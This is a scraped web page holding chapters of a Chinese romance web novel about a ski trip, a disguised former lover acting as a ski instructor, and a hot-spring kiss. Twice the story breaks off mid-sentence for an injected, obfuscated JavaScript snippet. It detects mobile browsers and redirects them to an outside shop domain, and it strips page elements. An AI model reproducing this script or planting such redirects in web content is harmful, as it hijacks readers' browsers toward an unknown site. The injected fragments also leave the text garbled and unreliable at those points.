南景全副武装,头盔、雪镜、护脸一应俱全,裹得严严实实。他正跟着一位身材高大、穿着亮蓝色教练服、同样看不清脸的帅哥教练,一步一挪地学习最基本的犁式刹车。 “婉拒了哈。我谢谢你全家。” 他学得很认真,虽然动作略显僵硬,但每个要领都努力去理解模仿,进步肉眼可见。那位帅哥教练也极有耐心,蹲在他旁边,用手比划着,声音透过面罩有些模糊但清晰:“对,就这样,膝盖再弯一点,板头不要打架……很好,保持住……” 阳光在雪地上反射出刺眼的光芒,空气虽然寒冷,但运动带来的热量和这热闹的气氛让人丝毫不觉。周冉又炫技般地做了个漂亮的小回转,正准备再“指导”南景两句—— 突然! 一道黑色的影子,如同离弦之箭,以快得惊人的速度,从旁边一条中高级雪道上斜刺里冲出,划出一道近乎笔直的、充满压迫感的轨迹,无视了周围的人群和基本的滑雪礼仪,朝着正在缓坡上嘚瑟的周冉,直直撞了过来! “卧槽!!!!” 周冉只来得及发出一声短促的惊呼,视线里那抹黑色瞬间放大,她根本来不及做出任何有效的闪避或刹车动作,就感觉一股巨大的冲击力狠狠撞在了自己侧腰上! “砰!” 两人结结实实地摔作一团,在蓬松的雪地里翻滚了两圈,扬起一大片雪沫。天旋地转间,周冉却没感觉到预想中后脑勺磕在硬雪地上的剧痛,反而垫到了一只温热有力的手上。 惊魂未定,她躺在雪地里,头盔歪了一点,滑雪镜上也糊了雪,眼前一片模糊。她喘着粗气,怒从心头起,以为是哪个不长眼技术稀烂还上中高级道的菜鸟,开口就骂:“我靠!你他妈会不会滑雪啊?!不会滑去找个教练从头学起行不行?!眼睛长后脑勺了?!往人身上撞?!我……” 她的话戛然而止。 因为压在她身上那个同样摔得七荤八素、一身嚣张黑色滑雪服的男人,正慢条斯理地摘下了自己的雪镜和护脸。 露出一张英俊得人神共愤、此刻却带着灿烂到欠揍笑容的脸。鼻尖和脸颊被冻得有点发红,但那双桃花眼亮得惊人,正一眨不眨地盯着她。 不是秦朗又是谁? “嗨,夫人~”秦朗咧嘴一笑,露出一口白牙,他凑近了些,温热的气息拂在周冉冰凉的脸上,“我可算找到你了!你知道我为了追到这儿,翻了多少座山,过了多少道弯,问了多少个滑雪教练吗?真是找得好辛苦呢~” 周冉看着近在咫尺的这张脸,她猛地一把推开还压在自己身上、笑得见牙不见眼的秦朗,动作之大,差点又把他推翻在雪地里。 “他妈的!真是日了狗了啊!”周冉手忙脚乱地爬起来,拍打着身上的雪,气得胸口起伏,指着秦朗的鼻子,声音都劈了叉,“怎么哪都有你?!你是属GPS的还是属狗皮膏药的?!阴魂不散啊你!” 秦朗就势在雪地里坐起来,也不恼,甚至还掸了掸自己黑色滑雪服肩头的雪粒,然后抬起头,对着怒气冲冲的周冉,字正腔圆地: “汪。汪汪汪。” 周冉:“……” 她所有骂人的话都被这三声“汪”堵在了喉咙里,一口气上不来下不去,憋得脸颊更红(气的),只能狠狠地、用力地翻了个大白眼,转过身去不想看他。 “冉冉!你没事吧?!”南景已经脱了滑雪板,踉踉跄跄但速度不慢地踩着厚厚的积雪跑了过来,帅哥教练也跟在他身后。南景上下打量着周冉,见她除了沾了一身雪、有点狼狈之外似乎并无大碍,才松了口气。 “嗨,大舅哥!”秦朗也利索地爬起来,动作矫健,对着南景热情地挥手打招呼,“新年……啊不,是滑雪快乐!” 南景看看秦朗,又看看一脸“我想杀人”的周冉,瞬间明白了怎么回事。他脸上露出有些好笑的神情,摘下雪镜,对秦朗点了点头:“哟,跟得挺紧啊。这都能找到?” “那必须!心有灵犀一点通,天涯海角也相逢!”秦朗大言不惭,目光黏在别着脸的周冉身上。 周冉哼了一声,终于转回头,狐疑地、带着警惕地环顾四周雪道,像是在搜寻什么,眉头皱着:“邵既明呢?那背后灵没跟你一起来?” “回去了啊,”秦朗摊手,语气半真半假的说道,“我亲自打包,哦不,是亲自押送他回去的。他有病,你知道的,相思病晚期并发重度抑郁前期,得治,得好好治。来这种冰天雪地的地方,我怕他直接冻成冰雕,那多不吉利。” “啧,”周冉撇撇嘴,但眼神明显松动了一些,毒舌依旧,“终于发现他有病了?真是不容易。赶紧治,治不好别放出来,省得碍眼还吓人。”她活动了一下手脚,确认没摔伤,瞪了秦朗一眼,“刚才那一下,差点把我撞散架!你滑雪是跟熊学的吧?横冲直撞!” “我的错我的错!”秦朗立刻认错,态度良好,凑过来想帮她拍雪,被周冉嫌弃地躲开,“我这不是看见你太激动了嘛,一下没控制住。要不,你撞回来?我保证不躲!” “滚蛋!”周冉没好气,但对秦朗那种“狗皮膏药”式的出现似乎也……没那么意外和彻底排斥了? 秦朗转向南景,“大舅哥,你先跟教练学着,我带冉冉去那边滑两圈。” “行啊,”南景笑着点头,重新戴好雪镜,“你们去吧,玩得开心点。冉冉今天都没好好玩,光顾着盯着我这个拖油瓶了。” “知道自己是拖油瓶就好好学!”周冉对南景做了个加油的手势,又警告地瞪了秦朗一眼,“跟上!别又撞树上去!” “得令!”秦朗眉开眼笑,立刻重新穿好滑雪板,显然是个中高手。 周冉也不再废话,脚尖一点,白色的身影如同离弦之箭,率先朝着中高级雪道飞驰而去,身姿矫健,在雪地上划出优美的弧线。秦朗低笑一声,黑色身影紧随其后,如同她的影子,又像是默契的搭档,两人一白一黑,很快融入远处蜿蜒起伏的雪道和更多炫技的滑雪者之中,速度与姿态都引来不少注目。 这边,南景重新在帅哥教练的指导下,练习着基本的滑行和转向。过了一段时间,那位亮蓝色教练服的帅哥教练忽然捂着肚子,有些抱歉地对南景说:“先生,实在不好意思,我有点不太舒服,可能需要去一下洗手间。我让我们另一位教练暂时接手您可以吗?他技术也很好,非常细心。” 南景点点头表示理解:“没关系,你去吧。” 很快,另一位教练滑了过来。他同样穿着标准的教练服,戴着护具和雪镜,看不清面容,但身量似乎比前一位更高挑些,肩膀宽阔。他滑到南景身边停下,姿态稳定,声音透过面罩传来,有些低沉,但很温和:“您好,由我暂时接替。我们继续刚才的练习?” 南景“嗯”了一声。这位新教练教得格外认真,甚至可以说是……体贴入微。他不再只是口头指导和远处示范,而是会很自然地靠过来,一只手稳稳地扶住南景的腰侧,帮他稳定核心,另一只手则轻轻握住南景戴着厚手套的手,调整他持雪杖的姿势和发力点。 “对,就这样,身体放松,跟着我的力道……重心微微前移……膝盖放松,不要锁死……”新教练的声音很近,呼吸的热气隐约透过面罩。他带着南景,以一种缓慢但平稳的速度,在初级道上缓缓滑行,耐心地纠正他每一个细微的错误,鼓励他每一个小小的进步。 南景起初有些不习惯这样近距离的接触,但对方的态度专业而自然,完全以教学为目的,没有任何令人不适的逾越。而且,在他的帮助下,南景确实感觉控制雪板容易了许多,滑行也稳当了不少。他渐渐放松下来,专注于脚下的雪板和身体的感觉。 阳光洒在洁白的雪地上,寒冷空气中,两人挨得很近,缓慢滑行的身影。 而那位新教练,在又一次细心扶住南景、帮他调整好一个转弯姿态后,透过深色的雪镜片,目光似乎极轻地、久久地,落在南景被护脸遮住大半的侧脸上。 畅快地滑了一下午,周冉依旧精神抖擞,脸颊被寒风吹得红扑扑的。她踩着滑雪板,以一个漂亮的急刹停在已经从初级道毕业、能歪歪扭扭飘一小段的南景面前,吹了声响亮的口哨,语气充满吾家有儿初长成的欣慰: “不错嘛,南小景!大大滴有进步!晚上姐心情好,带你去领略一下本地特色,找花姑娘滴干活!慰劳慰劳你受伤的小心灵和……嗯,可能即将开花的屁股。” 南景刚稳住身形,摘下半边雪镜,闻言失笑,还没来得及回答,旁边的秦朗就一脸警觉地凑过来,挤眉弄眼:“找什么花姑娘?不应该是去找牛郎吗?听说这边的牛郎店……哎哟!” 他话没说完,小腿就被周冉不轻不重地踹了一脚。 “可别!”周冉翻了个白眼,嫌弃地瞥了秦朗一眼,“那牛郎丑出升天了好吗?一个个化得跟鬼画符似的,只会灌迷魂汤骗无知妇女的钱。我家南景这等姿色,这等内涵,去找牛郎?亏,太亏了,亏到姥姥家了!这种赔本买卖,你想都别想!” 南景笑着摇摇头,重新戴好雪镜,活动了一下有些酸疼的手脚:“别别别,你们的好意我心领了。我还是回酒店泡温泉去吧,听说酒店的私汤很不错。出来玩了大半个月,是该好好歇歇,回血完毕,回去继续给你们当牛做马了。” “哈哈哈,行吧!”周冉大手一挥,很有点山大王的豪气,“那就这么定了!泡温泉,吃大餐,然后滚回去奋斗!走着!” 她率先朝着缆车的方向滑去,南景和秦朗紧随其后。 经过那位一直耐心守在旁边、沉默寡言的临时教练身边时,周冉突然想起什么,停了下来,从自己滑雪服鼓鼓囊囊的兜里掏出一把皱巴巴的日元纸币,看面额还不小,二话不说就塞进了那位教练戴着厚手套的手里,然后拍了拍对方的肩膀,用她临时抱佛脚学来、发音古怪但气势十足的日语大声说了句:“阿里嘎多!教练桑!教得很好!下次还找你!” 那位穿着教练服、戴着全副装备看不清脸的教练似乎愣了一下,握着那沓钱,手指蜷缩了一下。他没有推拒,也没有多说什么,只是对着周冉,也对着旁边的南景和秦朗,深深地、标准地鞠了一个躬,姿态恭敬谦卑,完全是日式服务行业的标准范儿。 秦朗在旁边看着,眉毛高高挑起,心里默默为他那个不争气的弟弟点了根蜡,顺便心疼了一秒钟——不容易啊,邵既明,为了靠近点,都成“日本人”了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046482|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还得被塞小费……这追妻路,真是坎坷得令人掬一把辛酸泪。 三人乘坐缆车回到山顶,又换乘接驳车回到了下榻的豪华温泉酒店。酒店是经典的日式园林风格,亭台楼阁,小桥流水,假山松石,在雪景的映衬下更显静谧雅致。每个房间都是独立的和式别墅,自带私密性极佳的露天温泉。 先路过南景的房间。木质移门上挂着写有他名字的门牌。“那行,先各自回房收拾一下,一小时后,餐厅见?”南景提议。 “没问题!” “遵命,大舅哥!” 约定好时间,南景刷开自己的房门走了进去。周冉和秦朗继续往前走。 到了周冉的房间门口,她拿出房卡,“嘀”一声刷开。正要进去,秦朗像条滑不溜秋的泥鳅,侧身就想往里挤。 “哎哎哎!你干嘛?”周冉眼疾手快,用身体挡住门,警惕地瞪着他,“回你自己屋去!” 秦朗脸上立刻堆起谄媚又欠揍的笑容,张开双臂就想扑过去抱她:“可以吗?夫人~一日不见如隔三秋,咱们这都隔了好几个秋了,想死为夫了!让我进去暖和暖和,检查一下房间设施完不完善……” “滚蛋!”周冉毫不留情,抬起一脚踹在他小腿上,趁他吃痛弯腰的瞬间,用力把他往外一推,然后“砰”地一声,干脆利落地关上了房门,还从里面“咔哒”上了锁。 “……”秦朗被关在门外,摸了摸鼻子,也不恼,反而对着门板提高音量,语气荡漾:“我去隔壁拿件换洗衣服就过来啊!听说你这边的温泉景色更好,水也香得很!” “滚!”门内传来周冉没好气的怒吼。 “哎!好嘞!一会儿就滚过来!”秦朗笑嘻嘻地应着,哼着不成调的小曲,心情颇好地晃悠回了自己那间别墅。 他刷开自己房间的门,客厅的榻榻米上,盘腿坐着一个人——邵既明。 邵既明已经换下了那身滑雪教练的行头,穿着酒店提供的深蓝色浴衣,头发还有些湿,似乎刚洗过澡。脸色依旧带着病态的苍白,但比起在海岛时那副行尸走肉的样子,眼神里确实多了点……活气?或者说,是一种被强行注入目标后紧绷的精神。 “哟,回来了?挺好啊,保持住。”秦朗溜溜达达地走进来,大喇喇地在邵既明对面的软垫上坐下,给自己倒了杯热茶,呷了一口,才慢悠悠地打量着他,“先从边边角角渗入,润物细无声,今天这教练当得不错,没露馅,还拿了小费,有进步。” 邵既明抬起眼,看向秦朗。那眼神里的执拗和茫然依旧交织,但少了些彻底的空洞。他沉默了几秒,才低声开口,声音有些干涩:“哥……他……真的会……原谅我吗?” 秦朗喝茶的动作顿了一下。他放下茶杯,看着邵既明眼中那点小心翼翼的期盼,心里叹了口气。原谅?谈何容易。南景那态度,哪里是原谅的问题,人家是直接翻篇了,连恨都懒得给。 “原谅?”秦朗挑了挑眉,“人家南景现在,压根就不恨你,谈什么原谅不原谅的?” 邵既明一怔,眼神黯淡下去。 秦朗话锋一转:“恨,也是一种强烈的情绪,说明还在意。可南景对你,现在是无感,是平静。你现在要做的,不是奢求他原谅过去的错误,那太虚了。你要做的,是让他先不讨厌你,不排斥你的出现。然后,再慢慢让他习惯生活里有你这么个人,以……嗯,全新的、不那么讨人厌的方式存在。懂吗?从负数到零,再到正数,急不得。” 邵既明很认真地听着,然后缓缓点了点头:“我……知道了。” 秦朗看着他那副“虽然不太明白但我会照做”的样子,心里那点身为兄长的责任感,生出一种孺子可教的诡异欣慰感。能骗一时是一时吧,万一……真有奇迹呢?对吧? “行了,你自己在这儿好好琢磨,好好保持状态。”秦朗站起身,伸了个懒腰,“我得去找我老婆泡温泉去了,增进感情。一会儿还要跟他们共进晚餐,享受二人……哦不,是三人世界。” 他走到门口,忽然想起什么,回头,对着邵既明露出一个促狭又欠揍的笑容,补充道:“对了,晚上我给你打包点好吃的回来,保证是南景那桌动过筷子的,说不定还沾着他的口水呢,要不要?” 他本是随口一句玩笑,想刺激一下邵既明,让他别整天死气沉沉。 没想到,邵既明闻言,眼睛竟然微微亮了一下,毫不犹豫地、甚至带着点急切地点了点头,从喉咙里挤出一个清晰的音节: “嗯。” 秦朗:“……操。” 他嘴角抽搐了一下,看着邵既明那副只要是和他有关的,哪怕是口水也珍贵的痴汉模样,彻底无语了。 没救了。 这弟弟,算是彻底栽在南景这坑里了,爬都爬不出来那种。 得,您老就继续在这边边角角渗入、细水长流的自我攻略路上,慢慢熬着吧。 秦朗摇摇头,懒得再管,哼着更不着调的小曲,真的回自己房间拿了换洗衣服,然后屁颠屁颠地去敲响了周冉的房门,开始了他的“温泉攻坚战”。 而邵既明独自留在安静的房间里,手指无意识地摩挲着浴衣柔软的布料,脑海里反复回放着下午滑雪场上,隔着厚厚手套传来的、那一点点微弱的触感,和南景专注学习的侧影。秦朗的话在他耳边回响——不讨厌,习惯存在,全新的方式…… 他缓缓躺倒在榻榻米上,望着天花板上古朴的灯罩,胸膛里那颗死寂已久的心脏,因为这一点点偷来的靠近,竟然……缓慢地,重新跳动了起来。 32. 来日方长 秦朗再次站到周冉的房门前,这次他没直接敲门,而是清了清嗓子,捏着鼻子,用一种极其做作、堪比酒店前台客服的甜美嗓音对着门缝说:“尊敬的客人您好,您预订的人形暖炉、搓背服务一级技师、温泉相声表演艺术家已到达门口,附带防狼警报静音及自动加热毛巾功能,请问现在可以为您服务了吗?服务代码是我爱你。” 门内一片寂静。 秦朗等了三秒,毫无动静。他立刻换回本音,带着点委屈:“冉冉?开开门呗?外面好冷啊,风像后妈的巴掌,抽得我脸疼。你再不开门,我就只能蹲在门口,用我凄凉的背影和呼出的白气,在走廊地砖上画你的名字,画满一百遍,让路过的服务员都见证我对你滔天的爱意……” “咔哒。” 门锁开了。周冉拉开门,身上已经换上了酒店提供的浅藕荷色浴衣,带子松松系着,领口微敞,露出一点精致的锁骨和修长的脖颈。头发用一根简单的木簪随意绾在脑后,几缕碎发湿漉漉地贴在额角和颊边,显然是刚快速冲了个澡。她脸上没什么表情,抱着手臂,上下打量了一下穿着同款深蓝色浴衣、笑得见牙不见眼的秦朗。 “服务项目里,有闭嘴这一项吗?有的话,点一辈子。没有就滚。” “有有有!当然有!”秦朗眼睛一亮,泥鳅一样滑进门内,反手利落地关上门落锁,“本店金牌服务物理性闭嘴,采用国际领先的以唇封缄技术,保证立竿见影,效果持久,用户体验极佳,零差评!客人您现在就要体验吗?首次体验买一送一,附赠晕晕乎乎后遗症哦!” “体验你个头!”周冉转身往室内走,赤脚踩在光滑的桧木地板上,走向通往露天温泉的拉门,“再胡说八道,我就把你塞进温泉的排水口,让你体验一下什么叫螺旋升天,直达地心。” “那也不错,”秦朗屁颠屁颠跟上,目光落在她浴衣下摆随着走动偶尔露出的一小截白皙小腿上,嘴里跑着火车,“只要能跟冉冉在一起,上天堂下地狱我都愿意。不过咱还是先去温泉吧,我研究过了,这家的私汤引用的是纯正硫磺泉,美容养颜,活血化瘀,特别适合你这种……嗯,内心火热但需要舒缓经络的都市丽人。” “我谢谢你啊,还内心火热,”周冉拉开沉重的玻璃木格推拉门,一股湿润的、带着淡淡硫磺味的热气扑面而来。眼前是一个用天然岩石垒砌而成的小巧温泉池,氤氲的白雾在水面袅袅升腾。池边点缀着嶙峋的假山和耐寒的绿植,一盏石灯笼散发着昏黄柔和的光。“我内心只想把你摁进池子里,让你好好活血化瘀,疏通一下你那被黄色废料堵死的脑回路。” “那正好,我脑回路需要冉冉亲手疏通。”秦朗开始解自己浴衣的带子,嘴里还在叭叭,“说到这个,冉冉,你对柏拉图式恋爱和灵肉合一式爱情有什么高见?我觉得吧,像咱们这种成年男女,追求纯粹的精神恋爱,就跟要求熊猫不吃竹子改吃西餐一样,不是不行,是有点反天性,容易营养不良……” 周冉已经走到池边,试了试水温,正背对着他,闻言头也没回,冷笑道:“哦?那按秦总的高见,男女之间就只有那档子事了?你这思想境界,跟发情期的泰迪有什么区别?哦,区别还是有的,泰迪比你坦诚,至少不会给自己的□□披上爱情、灵肉合一这么冠冕堂皇的遮羞布。” “哎哟,冤枉啊!”秦朗已经脱得只剩一条四角泳裤,露出锻炼得当、肌理分明的上半身,他一边做作地展示了一下手臂线条,一边蹭到池边,挨着周冉坐下,但保持着一点距离,侧头看着她被热气熏得微微泛红的侧脸,“我可没说只有那档子事。我的意思是,健全的、美好的爱情,它应该是全方位的,是立体的!就像一碗顶级的豚骨拉面,精神共鸣是那口醇厚的高汤,是底味;共同的兴趣爱好是劲道的面条,是主体;而健康的□□关系……”他故意停顿,眼神暧昧地扫过周冉浴衣下若隐若现的曲线,“那就是上面的叉烧、溏心蛋、笋干和葱花儿!是画龙点睛,是让这碗面从能吃变成好吃到流泪的灵魂!没有这些配菜的拉面,是没有灵魂的!就像没有亲密接触的爱情,是不完整的!冉冉,你忍心让我们之间的拉面,永远只是一碗清汤寡水的素面吗?” 周冉转过头,终于正眼瞧他。“秦朗,我发现你真是个诡辩奇才。黑的能说成白的,□□能包装成灵魂配菜。按你这逻辑,那些谈精神恋爱、或者无性婚姻的夫妻,吃的都是没有灵魂的素面喽?人家那叫阳春白雪,是高级定制素食料理,注重食材本味和烹饪哲学,不像你,就惦记着那口油腻腻的叉烧。” “阳春白雪也得接地气啊!”秦朗不服,身体又凑近了些,手臂似有若无地挨着她的,“再说了,冉冉,你怎么知道人家阳春白雪私下里不吃点重口味的?说不定人家回家关起门来,那碗面丰富得能开满汉全席!咱们要透过现象看本质,不能只看表面那层清汤。就像咱俩,你看你现在对我冷若冰霜,言辞犀利,但这恰恰说明你心里有我,在乎我,才会花心思跟我斗嘴,跟我辩论拉面的灵魂。你要真对我没感觉,早就一脚把我踹出去了,还会让我在这儿跟你讨论叉烧的哲学意义?” “呵,”周冉嗤笑,伸手拨了拨温热的泉水,“我这人就是有洁癖,看见脏东西黏上来,总想怼两句,让他知难而退。这叫环保意识,懂吗?维护公共卫生,人人有责。” “我脏?”秦朗立刻捂住心口,做受伤状,然后猛地抓住周冉拨水的那只手,按在自己赤裸的胸膛上,让她感受那结实肌肉下快速有力的心跳,眼神直勾勾地看着她,“你摸摸,你感受一下,这里跳动的每一分,都是为你!干净得跟喜马拉雅山顶的雪水似的!倒是你,周冉,你这里……”他的手指,极其大胆地、轻轻点了点周冉浴衣下心脏的位置,一触即分,“你这里,是不是早就为我预留了位置,只是嘴硬不肯承认?嗯?” 周冉的手被他按在滚烫的胸膛上,掌心下是蓬勃的生命力和炙热的温度,以及他说话时胸腔的微微震动。他指尖那一下轻点,更像是一个微弱的电流,窜过她的皮肤。她呼吸乱了一拍,想抽回手,却被他牢牢按住。 “松手。”她瞪他,声音有点紧。 “不松。”秦朗耍赖,得寸进尺地,用拇指指腹,极其暧昧地摩挲着她的手背,目光看着她微微泛红的脸颊和有些闪烁的眼眸,“冉冉,承认吧。你对我有感觉。不然,以你的身手和脾气,我现在应该已经躺在走廊上哼唧了,而不是还能在这儿,握着你的手,跟你讨论拉面的灵魂构成。” “我那是不想弄脏手。”周冉嘴硬,但被他摩挲的手背传来一阵阵酥麻,让她心跳更快了几分。温泉的热气蒸得她有些头晕,也可能是被他这套歪理邪说和近距离的美色攻击给搅的。 “那正好,”秦朗低笑,声音在氤氲水汽中显得格外磁性沙哑,“我帮你洗,里里外外,仔仔细细地洗,保证洗得干干净净,还附赠按摩服务……” 他说着,另一只手竟然真的作势要往她浴衣探,去解那本就系得不算紧的带子。 “秦朗!”周冉猛地抽回手,这次用了力,终于挣脱,同时另一只手“啪”地打在他不安分的手腕上,发出清脆的响声,“你够了啊!再动手动脚,我真不客气了!” 手腕被打了一下,不重,但有点麻。秦朗看着周冉明显羞恼交加、眼中水光潋滟却强装凶狠的样子,非但不退,反而觉得可爱得紧,心痒难耐。他知道不能真把人逼急了,但煮了这么久的“青蛙”,水都快开了,总得尝点甜头。 “好好好,不动手,不动手。”他收回手,做出投降姿态,但身体依旧挨得很近,目光灼灼地看着她,语气忽然变得正经了些,但内容依旧不正经:“那咱们继续文明讨论。冉冉,你说,两个互相喜欢、身体健康、功能健全的成年人,在气氛到位、你情我愿的情况下,进行一些深入浅出有益身心健康促进感情升华的负距离交流,它到底是不是一件自然、美好、且值得鼓励的事情?” 周冉被他这番文绉绉又直白露骨的讨论噎得一口气差点没上来,脸颊更烫了,不知是气的还是羞的:“谁跟你互相喜欢?!谁要跟你负距离交流?!秦朗,你能不能想点别的?!脑子里除了黄色废料就没点健康的东西吗?!比如……比如想想怎么赚钱,怎么回报社会,怎么保护环境!” “我想啊!”秦朗立刻接上,“我现在满脑子想的,就是怎么投资你这份独一无二的优质资产,怎么回报你对我的一片深情,怎么保护你这朵娇花不被外面的风雨摧残……这难道不是最健康、最积极、最有社会责任感的事情吗?至于赚钱,你放心,我的人形钱包功能24小时待机,绝对能支撑我们进行任何形式的、昂贵的、有品位的感情升华活动。” “你……”周冉发现自己真的说不过这个脸皮厚如城墙、歪理一大堆的家伙。她扭过头,不想再看他那张写满“我想睡你”还硬要套上哲学外交的俊脸,身体往温泉里沉了沉,让微烫的泉水漫过肩膀,只露出脑袋,试图用热水驱散身上的燥热和心里的烦乱。 秦朗也学着她的样子,沉入水中,两人隔着半臂的距离,并排靠在光滑的岩石池壁上。 安静了几分钟。秦朗忽然又开口:“冉冉,其实……我挺怕的。” 周冉没动,也没说话,只是睫毛颤了颤。 “我怕你真的……一点都不喜欢我。怕我所有的死皮赖脸,所有的穷追猛打,在你眼里真的就只是个笑话,是个烦人的纠缠。”秦朗的声音低了下去,少了几分平时的玩世不恭,“我怕我无论怎么做,都走不进你心里。怕你最后,真的会选择那个无人问津的世界,把我彻底排除在外。” 周冉的心,像是被什么东西轻轻撞了一下。 “但是,就算怕,我也停不下来。”秦朗转过头,看着她在水雾中朦胧美好的侧脸轮廓,“周冉,我就是喜欢你,超喜欢。喜欢到明明知道你可能在躲我,在敷衍我,在把我当试用期备胎,我还是忍不住要凑上来,想看看你,想碰碰你,想听你骂我,甚至……想让你因为我,有那么一点点不一样的情绪。” 他缓缓伸出手,在水下,轻轻握住了周冉放在身侧、浸在温水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046483|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的手。 这一次,周冉没有立刻甩开。 她的手在温水中,柔软,微凉。秦朗的手则温热,甚至有些滚烫。 “你看,你也没甩开我。这说明,你心里,至少有那么一点点地方,是允许我存在的,对不对?哪怕只是一个小小的角落,放我这个没名没分、死皮赖脸的家伙。” 周冉依旧沉默。她觉得脑子更晕了,像是真的泡久了,又像是被什么别的情绪冲击得失去了平日的锋利和冷静。 秦朗感觉到她那没有抽离的默许。他握着她的手,微微用力,将她往自己这边带了带。 周冉被这力道牵引,身体在水中失去平衡,轻呼一声,下意识地转过身,另一只手抵住了他坚实的胸膛,才稳住。两人瞬间变成了面对面的姿势,距离近得能感受到对方灼热的呼吸交织在一起。 水雾缭绕,星光黯淡,石灯昏黄。世界仿佛缩小到只剩下这一方温暖的泉水,和眼前这个人。 秦朗的目光深深望进周冉氤氲着水汽的眼眸。她的浴衣因为刚才的动作,领口散开得更大了些,露出更多白皙的肌肤和精致的锁骨,在灯光和水光下泛着诱人的光泽。发簪不知何时松脱,湿漉漉的长发披散下来,几缕黏在脸颊和脖颈,平添几分惊心动魄的慵懒与性感。 他的喉结剧烈滚动了一下,所有准备好的俏皮话、歪理邪说,在这一刻都失去了力量。只剩下最原始、最汹涌的悸动。 “冉冉……”他低喃,声音沙哑得不成样子,握着她的手收紧,另一只手缓缓抬起,抚上她泛着热气的脸颊,拇指轻轻摩挲着她光滑的皮肤。 周冉看着他骤然逼近的俊脸,大脑一片空白。想推开他的手,却像被抽走了力气,软软地抵在他胸口,更像是欲拒还迎的触碰。想骂他,嘴唇嚅动了一下,却发不出任何声音。只有心跳,在胸腔里疯狂擂鼓,震耳欲聋。 “这次……我真的要物理性闭嘴了。”秦朗的最后一句话,消失在两人骤然贴近的唇瓣之间。 他的吻,落了下来。 不再是之前玩笑般的偷吻,也不是强硬的掠夺。初始是试探的,轻柔的,如同蝴蝶栖息在颤动的花瓣。他吮?吸着她的下唇,舌尖温柔地描绘着她的唇形,感受着她的柔软和微凉。 周冉浑身一僵,她下意识地想后仰,想躲开,但后脑却被秦朗早已准备好的手掌稳稳托住。 “唔……”一声细微的、连她自己都未意识到的呜咽从喉咙溢出。 这声音像是某种许可,击溃了秦朗最后一点自制。他的吻骤然加深,变得急切而炽热。舌尖撬开她微张的牙关,长驱直入,贪婪地探索、纠缠她无处可躲的柔软。 周冉的抵抗在这样激烈而缠绵的攻势下迅速土崩瓦解。抵在他胸口的指尖无意识地用力。另一只被他握住的手,也反过来与他十指交缠,扣得死紧。她被动地承受着,又仿佛在无意识中回应。温泉的水温柔地荡漾,包裹着他们紧密相贴的身体。水汽蒸腾,模糊了视线,也模糊了理智。 氧气似乎被耗尽,眼前阵阵发黑。不知道是温泉泡得太久,缺氧,还是这个吻太过激烈深入,夺走了她所有的思考能力。周冉只觉得天旋地转,身体发软,全靠秦朗揽在腰间和托在后脑的手支撑,才没有滑入水中。耳边只有自己剧烈的心跳,他粗重的喘息,和唇舌交缠的细微水声。 时间失去了意义。仿佛过了一个小时,又仿佛只是短短一瞬。 直到周冉真的因为缺氧开始轻轻推搡他的肩膀,秦朗才万分不舍缓缓结束了这个漫长到令人窒息的吻。但他没有离开,额头抵着她的额头,鼻尖蹭着鼻尖,两人都在剧烈地喘息,灼热的呼吸交融。 周冉眼神迷离,双颊酡红,嘴唇被吻得红肿水润,微微张着,小口小口地吸气,整个人像是刚从水里捞出来熟透的水蜜桃,散发着惊人的诱惑和一种罕见的柔软。 秦朗看着她这副模样,眼底的火焰烧得更旺,几乎要喷薄而出。但他强忍着,只是用拇指怜惜地擦过她湿润红肿的唇瓣,声音低哑得不成调,带着浓浓的情?欲和满足的笑意:“看,我说的吧……物理性闭嘴,效果拔群。现在……是不是有点晕晕乎乎了,嗯?” 周冉还没从那个几乎夺走她神智的吻中完全回神,听到他的话,迷蒙的眼睛眨了眨,似乎想瞪他,却没什么力气,最终只是软软地、带着点自己都没察觉的嗔怪,咕哝了一句: “……混蛋。” 声音又软又哑,毫无威慑力,反而像小猫爪子,挠在秦朗心上。 秦朗低低地笑了,胸腔震动,将她更紧地拥入怀中,让她靠在自己肩上。两人在温暖的泉水中静静相拥,听着彼此逐渐平复的心跳。 秦朗满足地眯起眼,像只偷到腥的猫,在她散发着幽香的湿发上,落下一个个轻柔的吻。 来日方长。 细水长流的第一步,破冰行动,圆满完成。 下一步…… 秦朗看着怀中难得温顺的小祖宗,心里已经开始规划转正考核的后续科目了。 33. 嘬~嘬~嘬~ 嘬嘬嘬 温热微烫的泉水包裹着身体,也似乎能暂时熨平心头的褶皱。南景闭目仰靠在天然岩石垒砌的池边,约莫半小时后,他起身,用柔软的浴巾擦干身体,换上舒适的棉质家居服。 头发还半干着,他走到桌前,打开了笔记本电脑。处理了几封工作邮件,看了几份项目简报,大脑在高效运转的间隙,却像是不受控制地,骤然滑入了一片被时光尘封的角落。 那是他们毕业后的第一年。邵既明的生日。 记忆的画面清晰得令人心惊。他满怀期待地忙碌了一整天。他精心研究了菜谱,做了几道邵既明提过还算喜欢的家常菜。买了不算名贵但造型别致的香薰蜡烛。 从傍晚等到华灯初上,等到饭菜彻底凉透,蜡烛燃短了一截,烛泪堆积。打过去的电话,从无人接听到最后变成冰冷的“您拨打的电话已关机”。他坐不住,跑去邵既明公司楼下,保安说邵总晚上八点左右就离开了。他漫无目的地在街头走了很久。 凌晨一点多,手机终于响了。他说:“在公司加班,忙忘了。你自己先睡吧。” 忘了。加班。 